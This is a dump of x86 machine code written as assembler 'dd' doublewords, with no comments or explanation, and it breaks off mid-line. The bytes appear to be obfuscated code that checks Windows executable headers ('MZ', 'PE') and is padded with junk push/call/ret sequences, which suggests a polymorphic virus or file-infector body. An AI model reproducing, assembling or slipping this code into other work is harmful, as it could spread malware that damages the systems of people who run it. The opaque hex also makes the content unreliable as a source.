0F0000000h, 8914C283h, 2B169D95h dd 14EA8306h, 47A3858Dh, 6450062Fh, 35FFh, 89640000h, 25h dd 0E800h, 2B580000h, 0F00025C2h, 8166FFFFh, 0F5A4D38h dd 1285h, 50B70F00h, 81D0033Ch, 45503Ah, 0A840F00h, 2D000000h dd 1000h, 0FFFFD9E9h, 89C88BFFh, 2B080985h, 3C400306h dd 650B70Fh, 34A19589h, 508B062Bh, 0CD958950h, 5062B05h dd 0F8h, 30C508Bh, 0BD9589D1h, 3062B17h, 95890850h, 62B2029h dd 58F64h, 83000000h, 13E904C4h, 51000000h, 10244C8Bh dd 0B0A981h, 10000000h, 33590000h, 0BD83C3C0h, 62B328Dh dd 24840F00h, 0C6000000h, 2B332D85h, 0D2684706h, 0FFD49AA7h dd 2B1BDDB5h, 0EB858D06h, 0FF062E83h, 0FF006AD0h, 0F18589D0h dd 8B062B18h, 12E8D3h, 1CB40000h, 6BEB9273h, 28C0AC3Ch dd 0A2FDDE73h, 31A7A57Fh, 82B41EBFh, 8166586Ch, 813588EEh dd 7108C0h, 66C93300h, 8B36B8BBh, 0C2810814h, 3471EA2Dh dd 75D5EA81h, 0DF8B0935h, 0A73FF281h, 43B71151h, 8048F52h dd 0B0F68060h, 57D7BA66h, 0BB665361h, 835FA361h, 0EB8004E9h dd 60F981C0h, 0FFFFF8Fh, 0FFFFC285h, 0E78166FFh, 31607935h dd 2B25E19Dh, 5E906h, 52FA0000h, 8B1A5CA5h, 53006AC0h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 5346D49Ah, 0EB5BD8Bh, 6657062Bh, 8359FE8Bh, 2B01F9BDh dd 9750006h, 1689BD83h, 7400062Bh, 8B535019h, 438B8C0h dd 85890000h, 62B1B81h, 0BF759D8Dh, 0D3FF062Dh, 0BD83585Bh dd 62B1689h, 50177400h, 438B853h, 85890000h, 62B1B81h dd 0BC649D8Dh, 0D3FF062Dh, 0B70F585Bh, 57006AFEh, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 0E5154D5Fh, 4EB018ADh, 6AC08Bh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 140424h, 55450000h, 0B50327C3h, 62B2FA5h dd 6E9C88Bh, 47000000h, 0F8F5A890h, 7D9E801h, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 0C70555C3h, 121731A2h, 0DE8h, 0EEE3CC00h, 120A917h dd 0EF0785DAh, 8B0F5367h, 2, 895FF18Bh, 2B052585h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 0FB8BC583h, 772E8h, 6E900h, 648F0000h, 2B4047D1h, 0D258589h dd 6A062Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h dd 50400000h, 7B3FE7C3h, 87878F4Ah, 0E8F9B70Fh, 737h, 1C659D89h dd 8589062Bh, 62B0A91h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 18h, 0C7C35545h, 0FA8F07E5h, 1C9D8D89h, 0E8062Bh dd 6A000007h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1D042444h, 46000000h, 77D5C356h, 0A6252633h dd 4C5968A5h, 989BD29h, 0BD8B062Bh, 62B2AF5h, 7A18589h dd 6A062Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h dd 55450000h, 70E46EC3h, 0A32E1D13h, 6A2E8h, 19C68100h dd 896AC399h, 2B016585h, 691E806h, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 160424h, 55450000h, 0A9CDE8C3h dd 0DFD8589h, 49BE062Bh, 0E80F1060h, 663h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0CBC35545h, 0C220147Fh dd 958589F7h, 6A062B1Ah, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 16042444h, 47000000h, 11EBC357h, 0C3C68169h dd 0F4D6C90h, 10E8FBBFh, 6A000006h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 5200C351h dd 29891A43h, 2B028D8Dh, 4CB96606h, 0D58589D7h, 6A062B24h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1C042444h dd 45000000h, 5F1DC355h, 0ECA7CA85h, 0E8D04EE4h, 5B7h dd 2FEDBD8Bh, 8589062Bh, 62B1219h, 1F55BD23h, 0A0E8062Bh dd 2B000005h, 2B09658Dh, 0F6B96606h, 0F18589CDh, 8B062B2Eh dd 2B0BD18Dh, 585E806h, 50510000h, 0DE9h, 3DCCA00h, 41529E27h dd 27DB03Dh, 5F5FC5BDh, 18B98589h, 6A062Bh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 170424h, 55450000h, 71F070C3h dd 999589DDh, 0E8062B2Ch, 53Fh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 16h, 0AC35343h, 858945CCh, 62B2A5Dh dd 8027C580h, 10E89DC9h, 6A000005h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0DCA9C352h dd 0B30ACF28h, 0FFB6B4BFh, 0A585897Bh, 0F9062B21h, 4DEE8h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h dd 0C3514100h, 1585897Ch, 0E8062B1Dh, 4B7h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 5EC35343h, 2F0EE2D5h dd 899141DEh, 2B0ECD85h, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1504h, 0C3504000h, 6CE8721Ch, 3000004h, 2B1EB18Dh dd 45858906h, 0F8062B0Dh, 3279B531h, 0B0062Bh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 4CC35242h, 0E9F6BF0Fh dd 0Dh, 0A29CB46Dh, 3444528h, 0E259268Fh, 0D8B60FEAh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 3CC35747h, 56B9AF28h dd 0BD4CB80h, 2B06318Dh, 6BA06h, 0BD890000h, 62B15C1h dd 6AC38Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h dd 53430000h, 0D0E77FC3h, 2820Fh, 0F18B0000h, 6A04E8C1h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h dd 41000000h, 66B8C351h, 0F766F78Bh, 53006AE2h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 0D90B318Eh dd 398F9C8Fh, 8BD82BC5h, 12E993F7h, 0AC000000h, 19EAC323h dd 0B3062DC5h, 0F1BC65D5h, 0D56564A3h, 6A935087h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h dd 8C8BC355h, 4A2831EDh, 9D89743Eh, 62B1935h, 356995FFh dd 6A062Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h dd 51410000h, 4CE165C3h, 0F2001058h, 56006A5Bh, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 6540411Fh dd 1B341339h, 3241958Dh, 6A062Bh, 3E850h, 58200000h, 448958C3h dd 44810424h, 150424h, 50400000h, 8915BCC3h, 0FABF0F1Ah dd 6A044289h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 16042444h, 47000000h, 0F202C357h, 0E995899Fh, 8D062B25h dd 2B2F2595h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1504h, 0C3574700h, 0BD030E98h, 62B3021h, 6A1A89h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 9E815AC3h, 97818584h, 428914B3h, 56006A04h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 12E980h, 6AC70000h dd 0B807C8C6h, 6B446DA8h, 1D449F67h, 59034EA9h, 1AFD958Dh dd 6A062Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h dd 57470000h, 0AFFD0DC3h, 0B4F2D44h, 8B50C2AFh, 2B2C31BDh dd 0BF665906h, 1A89978Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ah, 0B2C35646h, 4A8804E5h, 4289C91Eh, 918D0904h dd 8D062B33h, 2B004D95h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1604h, 0C3554500h, 89B072A2h, 7E91Ah, 6580000h dd 207F37F0h, 4428907h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ah, 53C35747h, 0A8FA269Eh, 0B70F4E1Fh, 0F0BF0FCEh dd 89D958Dh, 1A89062Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Dh, 0A3C35343h, 0A7160F0Ah, 84401AE8h, 6880FB7h dd 9000000h, 2B15419Dh, 4428906h, 5FC98166h, 4D958D56h dd 89062B1Fh, 2B1215B5h, 0DE906h, 86C50000h, 41B6449h dd 68D75176h, 89C60E9Bh, 35BD8B1Ah, 89062B1Ch, 0BF660442h dd 958DDF61h, 62B181Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 16h, 0C7C35747h, 81666A3Bh, 8957A6D9h, 52006A1Ah dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 9FB9D6D3h, 12E95FA6h, 78000000h, 2E18317h, 72B57239h dd 29ED54F9h, 0A5783B6Dh, 442894Ah, 68E0Fh, 85890000h dd 62B2A0Dh, 111D958Dh, 6A062Bh, 3E850h, 58200000h, 448958C3h dd 44810424h, 1D0424h, 50400000h, 3B7554C3h, 0DFC5A320h dd 6650844Bh, 4CBFF78Bh, 893AAFB4h, 890F1Ah, 0F000000h dd 48Bh, 59535700h, 4428959h, 13E9h, 22E50800h, 0ED6C3048h dd 1E185B11h, 3A83DA0Fh, 494B9DDh, 0D5E9h, 0CD958900h dd 0E9062B21h, 7, 0E6161C69h, 6ADDFEBFh, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 6FA035F2h, 6A006AE9h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1C042444h, 43000000h, 0DD6BC353h, 0A8A96FE0h dd 8B083AE4h, 6A006AC8h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1A042444h, 47000000h, 0A82FC357h, 8753EB7Ah dd 0A58D8B8Bh, 6A062B05h, 558D3100h, 0FF062B05h, 2B01E195h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h dd 0C3554500h, 52DBE427h, 0AE8h, 14408A00h, 0B2B5F03h dd 8B1F5D1Bh, 2B0E918Dh, 8BC35F06h, 2B2BB9BDh, 0F1816606h dd 0C58AD940h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Bh, 0D7C35242h, 0A765CED2h, 89DD4A71h, 2B05B9B5h, 6AC08B06h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h dd 40000000h, 0C6D1C350h, 0E74A3BB9h, 6820F60h, 29000000h dd 2B326595h, 0F9BD8306h dd 62B01h, 0BD830975h, 62B1689h, 50197400h, 0B8C08B53h dd 438h, 34798589h, 9D8D062Bh, 62DBFDCh, 585BD3FFh, 1689BD83h dd 7400062Bh, 0B8535017h, 438h, 34798589h, 9D8D062Bh, 62DBC7Dh dd 585BD3FFh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 15h, 64C35747h, 6860F75h, 89000000h, 2B2EEDB5h, 8DC08B06h dd 2B2FC185h, 8B665606h, 0B3905BFBh, 899050B9h, 2B19E1BDh dd 6A006A06h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1D042444h, 45000000h, 5B6C355h, 0A06C15FAh, 2DABB33Ch dd 26F59D33h, 6A062Bh, 0D319D89h, 858D062Bh, 62F54CDh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0CCC35242h dd 2AD9ECEAh, 0D5CDBC01h, 0D8529DFh, 83062B0Fh, 8B6605C0h dd 0DE990D8h, 0BF000000h, 0AE789A0h, 0B18D1B5Bh, 75F730B9h dd 8B666050h, 0E89061C8h, 11h, 523B8FCEh, 0EF5234BCh, 42515BF8h dd 0E395A8B0h, 96CCBF81h, 0E85B0501h, 0Ch, 53C03D11h, 6EA6E8Ah dd 0AD10DBF2h, 0FB99D8Bh, 6A5F062Bh, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 0E9006AE8h dd 12h, 49311CD2h, 18FD0CEDh, 0D40AA620h, 4B2D08B6h, 95FF1832h dd 62B34E1h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 16h, 16C35040h, 8D8DAA58h, 62EA6AAh, 1A8DBD8Bh, 0D1FF062Bh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 1AC35545h dd 0C8D0Fh, 800F0000h, 6, 8419D8Bh, 890F062Bh, 3, 83FE8B66h dd 2B0A01BDh, 850F0106h, 0A5h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ah, 0B4C35040h, 82379D5Bh, 0D0B3010Dh dd 6A026Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h dd 52420000h, 0FF93BCC3h, 0DE93Dh, 0B8430000h, 698C174h dd 8C92FA30h, 33A338CAh, 2B1539BDh, 0BF669006h, 8B504208h dd 958990F8h, 62B097Dh, 0FFFBB70Fh, 2B05E195h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 767FDD78h, 1FBA2F6Ah, 0BF668E60h, 0BB53F616h, 2FB981D1h dd 0E4AE95Bh, 0E80000h, 5D000000h, 54D7ED81h, 6A062Fh dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 0EB9C8BC3h, 82BD018Dh, 14E94Bh, 9B4A0000h, 5B204320h dd 8499279h, 0CE06FEC6h, 0D07C3611h, 9531F71Eh, 62B20F9h dd 993A858Dh, 6A062Eh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1D0424h, 57470000h, 56DAA8C3h, 0E5C42D23h, 66653726h dd 9D8BDA8Bh, 62B2459h, 50AAB790h, 5E953h, 779A0000h, 5B0D988Eh dd 52006A90h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h dd 0C3524200h, 0C109A45Eh, 0E944285Bh, 6, 9B0BAB81h, 0FF644583h dd 35h, 0ED23BF00h, 89643AC6h, 25h, 0DA8B6600h, 1E0D85FFh dd 6A062Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h dd 53430000h, 365F38C3h, 1FC9BD89h, 0FF6A062Bh, 0A0D78166h dd 31BD8BD1h, 0FF062B08h, 2B0525B5h, 4D9D2306h, 81062B15h dd 7B5CBBC3h, 0A995FF13h, 0E9062B11h, 13Eh, 0E600B0F9h dd 0C99D3170h, 0E4062B0Dh, 0DE971h, 2AFA0000h, 26056A24h dd 3DCB67D7h, 3C37B2C2h, 17830F61h, 0F000001h, 0C8Bh, 6880F00h dd 89000000h, 2B016DB5h, 0C8B60F06h, 0CB5B589h, 6BA062Bh dd 0F000000h, 683h, 999D8B00h, 8B062B0Bh, 0A5B589C1h, 60062B2Bh dd 672E95B9h, 1595031Fh, 61062B0Ch, 8104E8C1h, 0A8B808D7h dd 0E2F76601h, 29059D23h, 0C82B062Bh, 5D9D8B53h, 5B062B02h dd 0FE8D18Bh, 0D3000000h, 35CD9C95h, 625C6D1h, 8559637Bh dd 95092804h, 62B0731h, 98E7815Bh, 0E9664F0Dh, 0 dd 3241858Bh, 8166062Bh, 83BFD6CBh, 8D8907C0h, 62B25D5h dd 8000C083h, 0D03BBFF3h, 1E830Fh, 0EE90000h, 69000000h dd 49353549h, 0C8E326C9h, 0C79AA01Ah, 58E931h, 9D8B0000h dd 62B0E8Dh, 758D8Bh, 840F062Bh, 0 dd 0F01E183h, 3D84h, 4AD78100h, 832D4609h, 2B0075A5h, 9D8BFE06h dd 62B1C11h, 32419589h, 14E8062Bh, 0DE000000h, 41919141h dd 8E9C4042h, 0A31F73F7h, 712503FAh, 0BFACFDF8h, 3593F8B6h dd 0E95Fh, 0B58D0000h, 62ECD28h, 8A0Fh, 81660000h, 6A5E13C3h dd 199D0300h, 0FF062B18h, 2B294595h, 5DBD3306h, 0B9062B05h dd 6BFh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ah, 58C35242h, 0B874C138h, 9D8B540Fh, 62B25E1h, 29FCE183h dd 2B2EE98Dh, 0BE906h, 0FFEB0000h, 44947905h, 0E31FB370h dd 6AFC13h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h dd 55450000h, 0C752BCC3h, 0B589FEB9h, 62B0159h, 6AC02Bh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h dd 8D01CCC3h, 62B0939h, 6AD22Bh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 190424h, 51410000h, 2B961DC3h, 66182450h dd 80EBCF81h, 0D1C233ADh, 83D003E8h, 0F47504E9h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 3C35141h, 61685D3Ah dd 0BE9BF8AFh, 50006A2Ah, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1604h, 0C3504000h, 8BE928A6h, 2B159D9Dh dd 0D8B70F06h, 880Dh, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1C04h, 0C3554500h, 0B514320Fh, 6F028764h dd 8E9FBh, 708B0000h, 1DFFB350h, 0BD0346E2h, 62B0941h dd 0EE1958Bh, 0BE9062Bh, 96000000h, 51D1662Eh, 2FD9EB78h dd 8D8B2CB3h, 62B21E1h, 14E8h, 0F38E6000h, 9827AD3Ah, 0D087527Ch dd 8AEF54F3h, 11533DE2h, 59D8981h, 5B062B0Ah, 8BC28B50h dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 160424h, 52420000h, 5B8CD9C3h dd 0E9D8B70Fh, 6, 144BCF4Fh, 6A63ECh, 3E850h, 58200000h dd 448958C3h, 44810424h, 180424h, 50400000h, 6FDDE8C3h dd 0BD83EE4Ch, 62B05A9h, 89840F00h, 50000000h, 0AE8h, 160CF000h dd 0DAA226D6h, 29CF1E58h, 2B02ED95h, 0B85B5B06h, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 78C35747h dd 0A8E040D6h, 2856D165h, 1D659D31h, 8166062Bh, 8DBB71E7h dd 2B4EA18Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1704h, 0C3514100h, 353DE431h, 11E9E1FFh, 0F9000000h dd 0D439CC9Eh, 7DE6B4FFh, 9FDC2628h, 14547AA3h, 2BE5BD83h dd 0F00062Bh, 43084h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1704h, 0C3564600h, 16F08B8h, 58E0Fh, 81660000h dd 833080E7h, 2B2BE5BDh, 840F0106h, 414h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 15h, 54C35040h, 0D5BD8BD1h dd 66062B1Fh, 819E80BBh, 0D5D1A4EBh, 0E5BD834Eh, 3062B2Bh dd 3A4860Fh, 60FC0000h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ch, 0CAC35141h, 9D85D8EEh, 613DF831h, 57D98C66h dd 12099D89h, 805F062Bh, 0BF0F04E1h, 0FC90AF8h, 10F84h dd 0E810F00h, 52000000h, 7E9h, 0C5B55700h, 7E21B031h, 0B5858B5Bh dd 0E9062B1Eh, 6, 3A93E901h, 853373CDh, 62B258Dh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 89C35040h, 0ED6ABCE8h dd 8B3D8DEFh, 2B1CE1BDh, 0EB816606h, 6650D3AFh, 89D21CBBh dd 85012404h, 62B3515h, 6A006Ah, 3E850h, 58200000h, 448958C3h dd 44810424h, 1A0424h, 50400000h, 37EDE2C3h, 0C4A2A052h dd 1DA59529h, 9D68062Bh, 6616522Dh, 81A103BBh, 2E622434h dd 11E9164Dh, 42000000h, 6F8A5A4Dh, 0D701E33h, 2627DB77h dd 36CDCFE1h, 91D95FFh, 8589062Bh, 62B2A99h, 858941B3h dd 62EB5B0h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Dh, 7CC35242h, 7B0E762Bh, 421C55ABh, 9D8B534Dh, 62B210Dh dd 59D895Bh, 0E9062B0Bh, 1DCh, 8319589h, 0BD03062Bh, 62B1B25h dd 0B5A8858Bh, 6A062Eh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 664D97C3h, 0C7E151BFh, 1800h, 68E0F00h dd 8B000000h, 2B33599Dh, 9D8B5306h, 62B0161h, 0ACB58B5Bh dd 6A062EB5h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1C042444h, 45000000h, 0E9BC355h, 657914C6h, 3115E8E8h dd 2B1BC9B5h, 0C5858B06h, 6A062B16h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 8950C351h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h dd 0C3534300h, 8AAA5B9Bh, 9253685Fh, 8529518Bh, 62B32B9h dd 1EB5858Bh, 14E9062Bh, 0DD000000h, 0D99A4A1Ch, 30CB3C18h dd 1890D789h, 5476413Dh, 89B45980h, 0BF660446h, 8950C7E3h dd 0EE82434h, 12000000h, 0D667FCFAh, 48B614C5h, 31CC96C4h dd 38E0F19h, 0F000000h, 335BFABFh, 2B07019Dh, 0A8B5FF06h dd 6A062EB5h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1A042444h, 46000000h, 7309C356h, 83ACEDE9h, 34CEBBA4h dd 9D231F83h, 62B3285h, 0EC344068h, 81DA8BD5h, 0CFBF2404h dd 5F562A32h, 0B5B0858Dh, 0FE9062Eh, 9D000000h, 7F2E2140h dd 0DB313E51h, 15103329h, 0E850D7CAh, 0Ch, 0DB67E79Ch dd 0C32F6977h, 0E5973316h, 5BFB8B66h, 6A240489h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h dd 0CC45C355h, 4890A78Eh, 13E86Eh, 63850000h, 90714D83h dd 618821D2h, 5AFC9F4Fh, 30C62243h, 0A185093Ah, 5B062B00h dd 0D8DBD89h, 95FF062Bh, 62B091Dh, 6840F61h, 89000000h dd 2B07918Dh, 0E585C706h, 3062B2Bh, 8B000000h, 2B29399Dh dd 0B0BD8306h, 62EB5h, 5C840Fh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 0FCCCF3C3h dd 55FDE3F1h, 2C81BD8Bh, 0BD8B062Bh, 62B2179h, 44E9h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 0A02DE7B2h, 7F7EAF37h, 4A9EBB61h, 30504354h, 4400110Ch dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h dd 4305036h, 11640011h, 10E8C101h, 2114430h, 3116400h dd 4E98358h, 1BEBE775h, 10E8C150h, 3116428h, 2114430h dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 50006AC0h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 0BF4ED10Dh, 61103668h, 0D1852360h, 9062B34h, 2B09218Dh dd 0BD836106h, 62B2BE5h, 7A850F03h, 0E9000004h, 0Eh, 0E559034Eh dd 0A7904CB9h, 0E5FBAAB2h, 0BD832C33h, 62EB5B0h, 5A840F00h dd 60000004h, 0FDB529F5h, 61062B17h, 20699D33h, 0B5FF062Bh dd 62EB5B0h, 18398509h, 95FF062Bh, 62B0175h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 6C35141h, 0F36E26Dh dd 68997582h, 6E380DDh, 0B5A4B58Bh, 6A062Eh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 190424h, 55450000h, 0F9FB6EC3h dd 0C7E2BE23h, 1000106h, 0DFB70F00h, 8B665096h, 6A96FBh dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h dd 572E89C3h, 40906F91h, 0FFB2FEDAh, 2EB5B0B5h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 4340EF6Ah, 0EA1BE80h, 0C9B5892Ch, 0FF062B32h, 2B155595h dd 0CD9D2906h, 8B062B01h, 2EB5A4B5h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 8B669884h dd 95BD89F8h, 0E8062B0Fh, 7, 7AC843C8h, 8B94280Bh, 2B343DBDh dd 858B5B06h, 62B1AD9h, 61BDB460h, 0C48689h, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 2736CAC3h, 3203F91Bh, 0FE960h, 0B6B70000h, 0F170D259h dd 23D0170Fh, 0EAE65B87h, 958B61CEh, 62B0EE1h, 0EB5BD8Bh dd 0C283062Bh, 51006A04h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1B04h, 0C3514100h, 7654ECF7h, 6036D61h, 1D1D9589h dd 5089062Bh, 53006A20h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1904h, 0C3534300h, 0D4035B92h, 8D0F0A49h, 19h, 0DE8h dd 0E0165E00h, 4B7FC82Eh, 8EDCD64h, 8589660Ah, 62B2489h dd 4E858D5Bh, 8B062ECAh, 2B07D19Dh, 0B8868906h, 31000000h dd 2B2A8D8Dh, 0B3006A06h, 0B0B5FF4Fh, 6A062EB5h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h dd 0B9F9C352h, 0C78154A8h, 13060F9Fh, 8399D8Bh, 0B529062Bh dd 62B17A1h, 5E195FFh, 50F5062Bh, 11E9h, 57CA100h, 22679818h dd 911F71C2h, 3A705567h, 3489F28Ch, 51006A24h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 52BF6A26h dd 9566078h, 2B008995h, 0BD895906h, 62B065Dh, 7E95061h dd 80000000h, 74549A67h, 0FF5BCC4Dh, 2EB5B0B5h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 656C48EEh, 6995FFADh, 6A062B15h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h dd 42000000h, 2239C352h, 83429C54h, 2B1D9DBDh, 840F0006h dd 3Eh, 10E8h, 5FF8B300h, 813DD8F6h, 0FF06E11Fh, 0D31B8F6h dd 1ACF80AEh, 5050965Fh, 0EE952h, 0C8E10000h, 0D5E69C58h dd 95D43F3Ah, 0F09F7377h, 0BB66310Fh, 585A45EBh, 0E3816696h dd 0B5FFFA73h, 62EB5B0h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 14h, 40C35040h, 66BEF380h, 60E6A8BBh, 0BF0FDF8Bh dd 95FF61DAh, 62B2E11h, 11E96060h, 0C5000000h, 0B82F18F2h dd 4B3D8A00h, 39D3BE22h, 9E226BC1h, 15E99589h, 8961062Bh dd 2B30959Dh, 0B5FF6106h, 62EB5B0h, 1C79BD0Bh, 95FF062Bh dd 62B240Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 19h, 0D7C35242h, 7009952Eh, 318529CEh, 83062B30h, 2B2E29BDh dd 840F0206h, 83h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 16h, 0ADC35747h, 858B8465h, 62B2B39h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 25C35343h, 0A134A1E4h dd 3C924AA4h, 8E9h, 630B7300h, 75DC04A9h, 412BBD3h, 0C60691h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h dd 0C3564600h, 4BBAC3F3h, 96BB1CD1h, 0C7552598h, 2B092585h dd 6, 0F2C4E900h, 0BD31FFFFh, 62B2C19h, 0CF81C18Bh, 3E99E2DDh dd 2FC1858Dh, 0E950062Bh, 7, 86857365h, 89820309h, 6A2404h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 9910A7C3h, 0A91CAABDh, 2D85BD89h, 6A062Bh, 2A8DBD23h dd 6A062Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ah, 0D4C35242h, 4CAB04FEh, 8B661D6Ah, 14858DFBh, 0E8062F65h dd 5, 0B60BF8BFh, 0D7816655h, 835BD925h, 6A05C0h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 2D348DC3h, 0EA36D7FFh, 0EDADBF50h, 4897FB1h, 0C4D38124h dd 6A21F92Dh, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1704h, 0C3574700h, 7CB0363Dh, 6AF98Bh, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 1Bh, 9DC35343h, 5410A75h dd 0F156D0Bh, 984h, 3840F00h, 66000000h, 95FFFB8Bh, 62B34E1h dd 17B19D0Bh, 8D8D062Bh, 62EA6AAh, 840Fh, 0D1FF0000h, 0E853006Ah dd 3, 5BC35B20h, 